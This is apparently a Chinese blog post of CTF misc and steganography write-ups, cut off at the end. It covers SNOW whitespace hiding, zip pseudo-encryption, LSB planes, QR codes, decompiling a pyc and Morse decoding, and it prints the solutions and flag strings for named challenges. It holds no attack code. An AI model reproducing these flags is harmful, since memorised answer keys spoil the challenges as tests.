steg没有py</h1><p>这道题看的wp</p><p>首先看见标题为steg没有py,猜测是用stegpy解决,然后原比赛的提示是16位密码,文件名刚好16位,解出来后为</p><p><img src="https://img-blog.csdnimg.cn/49a78226a8ea469ab8179dbe73228438.png" alt="" /></p><p>根据此文件可知是仿射密码</p><p>Linux下使用stegpy不太会配置,于是我直接复制源码,在vscode上运行。</p><h2 id="stegpy使用方法">stegpy使用方法</h2><p>stegpy可以将一段内容隐写到图片里</p><h3 id="加密">加密</h3><blockquote><p>stegpy 内容 图片位置</p></blockquote><p>如果要加密码</p><blockquote><p>stegpy 内容 图片位置 -p</p></blockquote><p>然后输入密码</p><h3 id="解密">解密</h3><blockquote><p>stegpy 图片位置</p></blockquote><p>如果有密码</p><blockquote><p>stegpy 图片位置 -p</p></blockquote><p>然后输入密码</p><p>解密后的文件在<strong>当前目录</strong></p><h2 id="关于用vscode运行">关于用vscode运行</h2><p>将所有文件放在一个文件夹。然后新建.py文件,源码复制进去,然后在终端</p><blockquote><p>pip3 install stegpy</p></blockquote><p>安装依赖</p><p>然后就能在终端运行</p><h1 id="0x06-看雪看雪看雪">0x06 看雪看雪看雪</h1><p>还是看的wp, 好菜啊</p><p>首先压缩包里只有一张图片,在使用stegpy和stegsolve后无果,猜测有其他文件被隐藏了。</p><p>用7-zip打开压缩包后发现另外4个文件<br />分别是</p><p><img src="http://photogz.photo.store.qq.com/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5teqjJQZAmkS5T5m8no1OewjtdjO0gTMGULh6P299MUFbxI.h4FB0hTjS6aU3NdjyyeaSpQb7Chb1diy7mvDgcA!/b&bo=FwGjABcBowADEDU!&rf=viewer_311" alt="" /><br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5teqjJQZAmkS5T5m8no1OezeTEH2CwW5XaITTFMZzbyKNrYxWnGuArNbbT35DuaJL1LBymA8nHK*TI3J6R8tZVA!/b&ek=1&kp=1&pt=0&bo=2wCiANsAogADEDU!&tl=1&vuin=2861126078&tm=1672232400&dis_t=1672232712&dis_k=008b9c6b433106e1b0703d6734df42b8&sce=50-1-1&rf=viewer_311" alt="" /><br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5lmbfONtDy531dgWBvAyo6m4IoSkC4wXfPgcWkPFThkbb8X6qvhS8hIZ1tIdznrQjaaRyARmKyI9Jt8yl1sJius!/b&ek=1&kp=1&pt=0&bo=3AChANwAoQADEDU!&tl=1&vuin=2861126078&tm=1672232400&dis_t=1672232712&dis_k=980e54ed4dbe495c227bdbae00534901&sce=50-1-1&rf=viewer_311" alt="" /><br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5lmbfONtDy531dgWBvAyo6mBAxWp9sR42s5zuqfK.L64QoQvSNxhiW.McrxY9bPgGzWkhtLYsLhTlXLIAV9x5dc!/b&ek=1&kp=1&pt=0&bo=5gEeAeYBHgEDEDU!&tl=1&vuin=2861126078&tm=1672232400&dis_t=1672232712&dis_k=31752a84bf970027574fd9cb27fb3f88&sce=50-1-1&rf=viewer_311" alt="" /></p><p>这道题大量出现雪,猜测有snow隐写,CtrlV试一试</p><p><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5lmbfONtDy531dgWBvAyo6l2SfjUqWJD7wxDPetAWTMC7qAK4bGVk0Na0l9f30jFFTVj*qb*ZpZJRkJUHqPmKo0!/b&ek=1&kp=1&pt=0&bo=LAT3AiwE9wIDEDU!&tl=1&vuin=2861126078&tm=1672232400&dis_t=1672232712&dis_k=0ce10ff50f6b5eb423ffa2ca26b0d342&sce=50-1-1&rf=viewer_311" alt="" /></p><p>果然有大量空白符,于是用解密工具解出来后得到flag</p><p><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5lmbfONtDy531dgWBvAyo6kVO9doy28PBmqWjb*cLzRDab4rqumSQztO6dg2*6HOOAagLpeSTJrj8RvAUd6ymSo!/b&ek=1&kp=1&pt=0&bo=xga9A8YGvQMWECA!&tl=1&vuin=2861126078&tm=1672232400&dis_t=1672232712&dis_k=a7844b6c1940b7cae8087fa8f517fc6a&sce=50-1-1&rf=viewer_311" alt="" /></p><h2 id="关于ntfs数据流隐藏">关于NTFS数据流隐藏</h2><p>每个文件都有主文件流和非主文件流,主文件流能够直接看到;而非主文件流寄宿于主文件流中,无法直接读取,这个非主文件流就是NTFS交换数据流。</p><h3 id="可用7-zip查看">可用<strong>7-zip</strong>查看</h3><h2 id="关于snow隐写">关于SNOW隐写</h2><p>工具网站以及详细介绍<a href="https://darkside.com.au/snow/">https://darkside.com.au/snow/</a></p><p>Snow隐写是一个用于隐藏文本文件中的消息的程序</p><p>在行尾附加<strong>制表符和空格</strong>,以及用于从包含隐藏消息的文件中提取消息。</p><p>制表符和空格对于大多数文本查看器是<strong>不可见的</strong>,这是Snow的隐写本质</p><h3 id="使用方法">使用方法</h3><p>将含有隐写内容的txt文件复制到含有工具的目录,在此目录打开终端</p><p>如需加密,则</p><blockquote><p>snow -C -m “I am lying” -p “hello world” 原文件 输出文件</p></blockquote><p>-m表示内容,-p表示设置密码</p><p>如需解密,则</p><blockquote><p>snow -C -p “hello world” 目标文件</p></blockquote><p><em>PS:实际使用中要在snow前加上</em>.\ <em>,暂时未找到原因</em></p><h1 id="0x07-fakezip">0x07 fakezip</h1><p>通过这道题学习到了一一个新概念:伪加密</p><p>意思是其实没加密,但是看起来加密了</p><p>为了做到这一点需要了解zip文件的组成:</p><h2 id="zip文件的组成">zip文件的组成</h2><ol><li>压缩源文件数据区,文件头标记为50 4B 03 04</li><li>压缩源文件目录区,头为50 4B 01 02</li><li>压缩源文件目结束标志,为50 4B 05 06</li></ol><p>其中数据区和目录区文件头标记隔8位后为加密与否的标志,<strong>若均是00 00则为未加密</strong></p><p>而伪加密则是利用这一点,直接更改加密标志让压缩包被打开始显示已加密,所以只需要<strong>改回去就行</strong>。</p><p>回到这个题</p><p>将压缩包在winhex中打开后,查找文件头标志<br /><img src="http://photogz.photo.store.qq.com/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5te8Mf*XJzWimGqS*9y00vD3BJXMmZR3vgoub*QHT25oNbSrzZOTv6j8NnvcCR7iKjEtkRq1nujCOJUhtdfTl.I!/b&bo=qQKrAKkCqwADEDU!&rf=viewer_311" alt="" /><br />发现加密标志果然不对,<br /><img src="http://photogz.photo.store.qq.com/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5kKB2I4zfxwLlsSnu.NIOEPnTvdhbmL3gqiQ7P1yjLDdWYKlyTsYiPGspYo6LLYeQhUYEpWxeKOy1QxrhfY0mrg!/b&bo=7QnQAu0J0AIWECA!&rf=viewer_311" alt="" /><br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5kKB2I4zfxwLlsSnu.NIOENpfVKf37S9eWUxspITCncgfeM1jm0pyDv9t9lRre7tT1ghGZ023J406pTv7N7rRNI!/b&ek=1&kp=1&pt=0&bo=kwnQApMJ0AIWECA!&tl=1&vuin=2861126078&tm=1672408800&dis_t=1672410614&dis_k=f99f40d9b36e06f33f8b6de2936235ae&sce=50-1-1&rf=viewer_311" alt="" /></p><p>改为00 00后打开得到<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5pKadKebDeL4*OznJ.yvJ.mrMQQ1aqBTV62wGwUm9nz5TM08VrwaCtg9dqu1yTm4h4w4Bf61tx1H*fmsSTo3Meo!/b&ek=1&kp=1&pt=0&bo=sAS4ArAEuAIDEDU!&tl=1&vuin=2861126078&tm=1672408800&dis_t=1672410460&dis_k=c5e32db1efecc306571d6ae03c0eeb97&sce=50-1-1&rf=viewer_311" alt="" /></p><p><strong>本题结束</strong></p><h1 id="0x08-check">0x08 Check</h1><p>压缩包打开是一张图片,用stegsolve发现存在lsb隐写<br /><img src="http://photogz.photo.store.qq.com/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5teqjJQZAmkS5T5m8no1Oezu8qNc.hmwCZn2aQlyGYbHpQF2psb6tWfTb7WrkBWiKezkQmSJINt8yGwdRlwePlg!/b&bo=OwRIAzsESAMDEDU!&rf=viewer_311" alt="" /><br />用html编码解码解出flag<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5teqjJQZAmkS5T5m8no1Oey9QJbx9WNuEQmik8d.WG5JrUV1QlZKguWQYVeqVMGbr1HvwizOjXrP*JCfs5AjajQ!/b&ek=1&kp=1&pt=0&bo=hgYZAoYGGQIDEDU!&tl=1&vuin=2861126078&tm=1672466400&dis_t=1672467703&dis_k=ca603f8f0034f31645de1bd6699c722b&sce=50-1-1&rf=viewer_311" alt="" /></p><h1 id="0x09-碎纸机11">0x09 碎纸机11</h1><p>文件下载下来是一堆长条<br /><img src="http://photogz.photo.store.qq.com/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5kxBMQX*Se1Iz8CgvYK*HFvfY6931SjaTIrM8GjYMWP.pAKyt0ubKYgod0n1.jxY4afZR084dof8DT9ECeVdoV0!/b&bo=mwYOBZsGDgURECc!&rf=viewer_311" alt="" /><br />联想到题目是碎纸机,能想象到这些拼起来应该是一张图片</p><p>于是…</p><p>我就真的去拼了<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5qe1TLJxtQXQGyQjCD0AXGfPvlQYysBofLux4TpFEPngQlKyc54u9c383amFj872Uo7KuVkaqwI7VCS17PYxUv4!/b&ek=1&kp=1&pt=0&bo=AAr4BQAK.AURECc!&tl=1&vuin=2861126078&tm=1672552800&dis_t=1672554987&dis_k=37321b97e5c787fc927842ad7b447eca&sce=50-1-1&rf=viewer_311" alt="" /><br />成品是这样:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5qe1TLJxtQXQGyQjCD0AXGeoGkO3d9coAPcZu82OmwetZ*.Q3wO29bdpw1ZQ1tyI0F43enLYO1dWGUWTU.plWAw!/b&ek=1&kp=1&pt=0&bo=eQOCA3kDggMRECc!&tl=1&vuin=2861126078&tm=1672552800&dis_t=1672554987&dis_k=3535ecf805a27a526bce395686ca15dd&sce=50-1-1&rf=viewer_311" alt="" /><br />有点暗,经过调色后识别出来为<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5kxBMQX*Se1Iz8CgvYK*HFukCqmfgNRs1zO5kmzMZN*rW5zJFPZm84N6vRV524ZksWNmntwjGmO6gRBdtKtVGT4!/b&ek=1&kp=1&pt=0&bo=eQOCA3kDggMDEDU!&tl=1&vuin=2861126078&tm=1672552800&dis_t=1672554987&dis_k=0c4b91b9e4d1feb8676fa0fee40f467c&sce=50-1-1&rf=viewer_311" alt="" /></p><blockquote><p>flag{You Can Repair A Picture From Splices Baesd On Entropy}</p></blockquote><p>本题结束</p><p>才怪!</p><p>这不对!怎么能用手拼?等到块数过多时根本不行!于是打开浏览器,学习了这种拼图题的一般做法:</p><p>需要用到两个工具</p><ol><li>ImageMagick</li><li>gaps</li></ol><p>ImageMagisk用来组合照片</p><p>gaps用来重组照片至正常</p><p>关于他们的使用跟着他们的官方说明就行</p><p>ImageMagick:<a href="https://github.com/ImageMagick/ImageMagick">https://github.com/ImageMagick/ImageMagick</a></p><p>gaps:<a href="https://github.com/nemanja-m/gaps">https://github.com/nemanja-m/gaps</a></p><h1 id="0x0a-let_god_knows">0x0a Let_god_knows</h1><p>下载下来是一张图片:<br /><img src="http://photogz.photo.store.qq.com/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5k*tOVufljpITC5t0Nw0zlEhA*RYR*y73lNSo1*Veq7PIb62RrV14eRM.nFdJRzbxFot*ZZ9EGf5bFPUmPwM*uo!/b&bo=AAr6BQAK.gUWECA!&rf=viewer_311" alt="" /><br />在Red plane 0发现二维码<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5k*tOVufljpITC5t0Nw0zlFnWp5K0OFzAt*yvU95lDQ9b9BZAMNFYf6xV5S6wGsW4y.7IHDWdg*qQISojEDaWvI!/b&ek=1&kp=1&pt=0&bo=NgU4BDYFOAQWECA!&tl=1&vuin=2861126078&tm=1672801200&dis_t=1672801960&dis_k=727a6d74bc539e1b4e96d3eb2adeca1e&sce=50-1-1&rf=viewer_311" alt="" /><br />扫描二维码就行了</p><blockquote><p>flag{Ok@y!G0d_know5_n0w}</p></blockquote><h1 id="0x0b-津门杯2021-m1">0x0b 津门杯2021-m1</h1><p>下载下来是一张图片<br /><img src="http://photogz.photo.store.qq.com/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5uTI6FVPa7hhxAIZrsma9qv6zU*ayeaJPctpifRkZp8bvqAsWJMkb58CEUAUVG90*AAT0soQqIf67eqRVmNPToA!/b&bo=9wlABvcJQAYWECA!&rf=viewer_311" alt="" /><br />用Stegsolve打开,一眼感觉有用<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5uTI6FVPa7hhxAIZrsma9qsmtgVde4vNOIU8i9FwlN985F7EsCOPswvh5zWLYEWsc3gMOtyhorn*bSuj3PUUKmg!/b&ek=1&kp=1&pt=0&bo=OwRIAzsESAMDEDU!&tl=1&vuin=2861126078&tm=1672804800&dis_t=1672807455&dis_k=1b336049f5f1718ce7714fff2d035a5b&sce=50-1-1&rf=viewer_311" alt="" /></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">ZmxhZ3ts NURHcUYx</span><br><span class="line">cFB6T2Iy TFU5MTlM</span><br><span class="line">TWFCWVM1 QjFHMDFG</span><br><span class="line">RH0=</span><br></pre></td></tr></table></figure><p>然后我就卡住了,不知道该怎么用,尝试了凯撒密码,维吉尼亚密码,ASCII码偏移…都没用</p><p>最后看的wp才知道是base64编码<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5uTI6FVPa7hhxAIZrsma9quDFG8sduzB8cOvPxtDJ.D2fCzUgLXAouzVpC9zqT9gtstsAPnFxUDNgXOUQoTMZSU!/b&ek=1&kp=1&pt=0&bo=AAr6BQAK.gUWECA!&tl=1&vuin=2861126078&tm=1672804800&dis_t=1672807455&dis_k=71d67f3f3e604dc1275c248d42e10421&sce=50-1-1&rf=viewer_311" alt="" /><br />得到flag</p><blockquote><p>flag{l5DGqF1pPzOb2LU919LMaBYS5B1G01FD}</p></blockquote><h1 id="0x0c-适合作为桌面">0x0c 适合作为桌面</h1><p>下载下来是一张图片,直接丢进stegsolve,发现二维码<br /><img src="http://photogz.photo.store.qq.com/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5l8irEw96CaNBw7.GUgDhlfuNwgVr5wKUnN1KSfiwxR9W*uzafUAW83jJIlJLczdq1y1i7bXqA.VOaCZzCAG5ds!/b&bo=AAr6BQAK.gUWECA!&rf=viewer_311" alt="" /><br />扫描后得到一大段字符</p><blockquote><p>03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000</p></blockquote><p>尝试用base16解码未果,于是把这一段丢进winhex<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5iJhLOeF8WJEN1rVflAvJa6U91he2HCR6smNjVG7Mmie*qExQ6kvKTFGnLUI2sR2UYqqAgwteHU6tsqTZj.yh4g!/b&ek=1&kp=1&pt=0&bo=0gnvBdIJ7wUWECA!&tl=1&vuin=2861126078&tm=1673164800&dis_t=1673166991&dis_k=c14ab165f9ba9c948c783ab239a5e36c&sce=50-1-1&rf=viewer_311" alt="" /><br />发现有十分像flag的东西存在,特别是这一段<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5iJhLOeF8WJEN1rVflAvJa75P2UKlFoxPmI0ZXQKUNGGAXjN4sP*UoLmmT4X8IJBqMJ.eW1lirr3FKhiIf9inSk!/b&ek=1&kp=1&pt=0&bo=ogFRAKIBUQADEDU!&tl=1&vuin=2861126078&tm=1673164800&dis_t=1673166991&dis_k=5cab735275d9d8f59082118feb1c7e3d&sce=50-1-1&rf=viewer_311" alt="" /><br />十分像栅栏解密,但是答案并不是这个…</p><p>于是我卡住了,思考良久,最终看了wp</p><p>这个标志:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5lf6HIUrMe6wxLCtDjLrXvEKzUdIBsnSciLN*IFsN0wvgcateWK6VPEq2C8raBHn7Zm6HpLAsxGl.JEnla34iwM!/b&ek=1&kp=1&pt=0&bo=rQFNAK0BTQADEDU!&tl=1&vuin=2861126078&tm=1673164800&dis_t=1673166991&dis_k=fc0514726e8dd551dfbece62ccb54689&sce=50-1-1&rf=viewer_311" alt="" /><br />说明它可能是python编译后的文件,所以我们需要反编译它,先将其保存为pyc文件,再使用这个软件,下载地址:<a href="https://sourceforge.net/projects/easypythondecompiler/">https://sourceforge.net/projects/easypythondecompiler/</a><br />使用方法很简单,就是文件拖进去就行<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5iJhLOeF8WJEN1rVflAvJa4YIHYnniTUWjqWLF6sASiRsFcxnCJrPNFFnptYPye6v*SYATDJmW2FPuJTyLyHjeA!/b&ek=1&kp=1&pt=0&bo=vwGLAb8BiwEDEDU!&tl=1&vuin=2861126078&tm=1673164800&dis_t=1673166991&dis_k=ff9698c4d3df692145a7bf9807bbcdab&sce=50-1-1&rf=viewer_311" alt="" /><br />反编译后发现一个函数,但没有调用,调用后得到flag<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5l8irEw96CaNBw7.GUgDhle.LgYs05wHnznlfJfJNfnTlZe7R9XsdoNep9FzE4DN69nrppmrKbwtIYH2eFJPhhM!/b&ek=1&kp=1&pt=0&bo=AAr6BQAK.gUWECA!&tl=1&vuin=2861126078&tm=1673164800&dis_t=1673166991&dis_k=fe9b8ee136e330781a5f0a85f13c3805&sce=50-1-1&rf=viewer_311" alt="" /></p><h1 id="0x0d-aesop_secret">0x0d Aesop_secret</h1><p>下载下来是一个动图,感觉能拼成一张图片,于是用photoshop打开再显示每一个图层后得到<br /><img src="http://photogz.photo.store.qq.com/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5k*tOVufljpITC5t0Nw0zlE9KLdWrCS2f0YkklUTOwsAE617AACGPcaDnr0P*DYt8cPhboDhvNEByLUCSZBWXac!/b&bo=AAoDBgAKAwYWECA!&rf=viewer_311" alt="" /><br />然后用winhex打开动图,在文件最后发现一串看起来有意义的码<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5k*tOVufljpITC5t0Nw0zlEECbUDIvoHHZdHB8wsyae6XHZCRyksMU1lv4FB8XSXuNXDftKdjxKAnENU*na03lU!/b&ek=1&kp=1&pt=0&bo=AArsBQAK7AUWECA!&tl=1&vuin=2861126078&tm=1673168400&dis_t=1673171140&dis_k=d426c5af8d461d35fd895050d842be0e&sce=50-1-1&rf=viewer_311" alt="" /><br />上网搜索后发生是aes解密,需要密钥,联想到图片中的ISCC,经过两次aes解密后得到flag<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5vorKWQm6Ar0ejDkoHGjIpbd0laah03iPCinRPNXgrXlFB3bVeKiTqmjGN292MHi1WVPWaOO6hBTwkyQ2I3Xy30!/b&ek=1&kp=1&pt=0&bo=6AftAegH7QEDEDU!&tl=1&vuin=2861126078&tm=1673168400&dis_t=1673171140&dis_k=a91358f666937d2409cce6338efc7e6f&sce=50-1-1&rf=viewer_311" alt="" /></p><h1 id="0x0e-test-flag-please-ignore">0x0e Test-flag-please-ignore</h1><p>下载下来是一个不明文件,于是用winhex打开发现一段看似有意义的乱码<br /><img src="http://photogz.photo.store.qq.com/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5nn2Ru5wzyVKN6sWpwy6.tjBIlGWkwo3YwRDa5J4f9ZfNLqJBXsFwykIcuUOd2SGMpM3Wl9F5nbaSYbUrF5b5IQ!/b&bo=DAfrAAwH6wADEDU!&rf=viewer_311" alt="" /><br />乱码中出现了0-9,a-e,判断为base16编码,丢进网站就解开了<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5nn2Ru5wzyVKN6sWpwy6.ti7HayRrhxv2TdJDB0.CgkYl.WatRceM63bo41UqH11FvuBUL1*5QBbAsZiNQMm68M!/b&ek=1&kp=1&pt=0&bo=3wW6At8FugIDEDU!&tl=1&vuin=2861126078&tm=1673168400&dis_t=1673171506&dis_k=208e605cca0364a07b7b5334e93a0a38&sce=50-1-1&rf=viewer_311" alt="" /></p><h1 id="0x0f-中等-qr1">0x0f [中等] QR1</h1><p>下载下来是一张看似空白的图片,但是放大后有小像素点,仔细看整体组合起来是一个二维码,也正好对应了标题QR<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5qQwGtPE0PboyWvT87HTjGN3vKqnzmvw0Fl0T9v03bvT7fYhK8NH2ZJPEqUd3H*rSAER4caMxL3lkDpxURaGecw!/c&ek=1&kp=1&pt=0&bo=jAVrBYwFawUDEDU!&tl=1&vuin=2861126078&tm=1673618400&dis_t=1673620854&dis_k=b208f676dc9a66b83155601eda523bb0&sce=60-2-2&rf=viewer_311" alt="" /><br />用windows自带的画图工具把二维码变明显<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5pkvO6S4SCrL*GVBeP0z8iaEI2dhLFduyglRVdmz8zZTYbH*qgBo3oaxxWX.9U7S*MlCX8tuZRRvw3yMkgVsNMQ!/b&ek=1&kp=1&pt=0&bo=YAJjAmACYwIDEDU!&tl=1&vuin=2861126078&tm=1673618400&dis_t=1673620856&dis_k=e1b1b88bfc617578521ad45fa6113002&sce=50-1-1&rf=viewer_311" alt="" /><br />扫描得到:</p><blockquote><p>flag{AHA_U_Kn0w_QR_c0d3_312468ed-ea59-4fe9-9cd2-b5e9d8b39498}</p></blockquote><h1 id="0x10-我们生活在南京-2">0x10 我们生活在南京-2</h1><p>下载下来是一段音频,题目中提到了CW,上网搜索后发现CW是以摩斯密码传递信息的方式,于是用Audacity打开音频,调至频谱图<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5msXb6s*wVPjtFGMfx.pr*iW.zZV*Ud088GvBxSZl2.fFc2ZIVAWoRALLQif9zUQvhzIRvcb.v*BuLaSffbqwgM!/b&ek=1&kp=1&pt=0&bo=xghVAcYIVQEWECA!&tl=1&vuin=2861126078&tm=1673622000&dis_t=1673623768&dis_k=7a36392e21a02864e5a86ac80a66defd&sce=50-1-1&rf=viewer_311" alt="" /><br />窄的为短码,宽的为长码,丢进解密网站解密后得到:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5nIKeO6CRh5aI.woNZFYFAt5Mla9OlFNXi5u6bD8FBoCRXflF2clPeSOrPep2ekvs1.L5zO3bbMHTTJkbbDGtKI!/c&ek=1&kp=1&pt=0&bo=xQhFBMUIRQQDEDU!&tl=1&vuin=2861126078&tm=1673622000&dis_t=1673623764&dis_k=e25614db43aca3d8ccb0528c215e95a6&sce=60-2-2&rf=viewer_311" alt="" /><br />按照题目要求稍作更改:</p><blockquote><p>flag{cwi54tr4diti0nm3th0d}</p></blockquote><h1 id="0x11-我们生活在南京-1">0x11 我们生活在南京-1</h1><p>下载下来是一段音频,听起来像倒放,将音频倒放后听到了一些单词,倒放的网站为<a href="https://audiotrimmer.com/cn/online-mp3-reverser/">https://audiotrimmer.com/cn/online-mp3-reverser/</a></p><p>题目中说“他们用无线电中惯用的方法区分字符串中读音相近的字母。”于是上网搜索,发现为了区分读音相似的字母,无线电中会以下面单词来代替对应字母:</p><table><thead><tr><th>字母</th><th>对应单词</th><th>字母</th><th>对应单词</th></tr></thead><tbody><tr><td>A</td><td>ALPHA</td><td>N</td><td>NOVEMBER</td></tr><tr><td>B</td><td>BRAVO</td><td>O</td><td>OSCAR</td></tr><tr><td>C</td><td>CHARLIE</td><td>P</td><td>PAPA</td></tr><tr><td>D</td><td>DELTA</td><td>Q</td><td>QUEBEC</td></tr><tr><td>E</td><td>ECHO</td><td>R</td><td>ROMEO</td></tr><tr><td>F</td><td>FOXTROT</td><td>S</td><td>SIERRA</td></tr><tr><td>G</td><td>GOLF</td><td>T</td><td>TANGO</td></tr><tr><td>H</td><td>HOTEL</td><td>U</td><td>UNIFORM</td></tr><tr><td>I</td><td>INDIA</td><td>V</td><td>VICTOR</td></tr><tr><td>J</td><td>JULIET</td><td>W</td><td>WHISKY</td></tr><tr><td>K</td><td>KILO</td><td>X</td><td>X-RAY</td></tr><tr><td>L</td><td>LIMA</td><td>Y</td><td>YANKEE</td></tr><tr><td>M</td><td>MIKE</td><td>Z</td><td>ZULU</td></tr></tbody></table><p>对应上表听音频得到flag</p><blockquote><p>flag{radiowavesacrosstime}</p></blockquote><p><em>PS:这道题答案给错了,官方wp中方法和我的完全吻合,但是答案却是给的“我们生活在南京-2”的答案</em></p><h1 id="0x12-4433">0x12 4433</h1><p>下载下来是一张图片,用stegsolve打开,在Red plane 1发现二维码<br /><img src="http://photogz.photo.store.qq.com/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5j*Z02OCSYCF*D636juwsif1A0eff818KEIVKRph9.6YX5HxJR5TE03uCqbIOXj*y5VbSmG3DS0AYM6ns1YKzjY!/b&bo=AAr6BQAK.gUDEDU!&rf=viewer_311" alt="" /><br />扫描后得到</p><blockquote><p>…–.----…–…</p></blockquote><p>用摩斯密码直接解密解出来很奇怪,结合题目4433将密码分隔再进行解密得到<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5j*Z02OCSYCF*D636juwsifQb3RPqPtCFs2fHlfGP8XvXfEHRZKQd7aixuU8cIftPtuJ7z.XZSh1DWKcLxv1JZg!/b&ek=1&kp=1&pt=0&bo=AAr6BQAK.gUWECA!&tl=1&vuin=2861126078&tm=1673949600&dis_t=1673951228&dis_k=8cedec27202075305408c4da03223df2&sce=50-1-1&rf=viewer_311" alt="" /></p><blockquote><p>VYGUD</p></blockquote><p>上交后提示错误,经过搜索,发现摩斯密码经常使用缩写,如该网站所示:<a href="https://www.docin.com/p-1607111065.html">https://www.docin.com/p-1607111065.html</a><br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5j*Z02OCSYCF*D636juwsidIuzRXg6zf4JWBYnnV.hGKrEP9rP74vhCpk.qvFc8tCpq3XwnZSSL9LgUARoB1Gfk!/b&ek=1&kp=1&pt=0&bo=ZwFKAGcBSgADEDU!&tl=1&vuin=2861126078&tm=1673949600&dis_t=1673951228&dis_k=4d3f831f9c3b1db4e8463bed69ecf349&sce=50-1-1&rf=viewer_311" alt="" /><br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5j*Z02OCSYCF*D636juwsidMj..ovYbcRUvxgl9TnXAsM0ur3p1vFWrc2gdbgzc4Gc1nilk*3qmmHtG8SI.R55E!/b&ek=1&kp=1&pt=0&bo=eAT2AXgE9gEWECA!&tl=1&vuin=2861126078&tm=1673949600&dis_t=1673951228&dis_k=46c232bf4f5657d01c4433dfd87972cd&sce=50-1-1&rf=viewer_311" alt="" /><br />发现“VY”是指的“VERY”,但是“GUD”却没有所指,因读音相近,猜测是“GOOD”,连起来是“VERYGOOD”,上交成功</p><h1 id="0x13-肥宅快乐题">0x13 肥宅快乐题</h1><p>题目说打完游戏可得,于是就打完了游戏,游戏不长,得到以下对话:</p><p><img src="http://photogz.photo.store.qq.com/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5ilt0wH.LW0abHD6LtBCX9v2YVT.cjNOAwGR.Q2pvZBeyVgCKDr0uqtnWdbnz0NZ327wyhJsq.ajXcilhF427UA!/b&bo=JgeEBCYHhAQWECA!&rf=viewer_311" alt="" /></p><blockquote><p>U1lDe0YzaVpoYWlfa3U0aWxlX1QxMTF9</p></blockquote><p>看起来是加密了的,丢进CyberChef,解出flag<br /><img 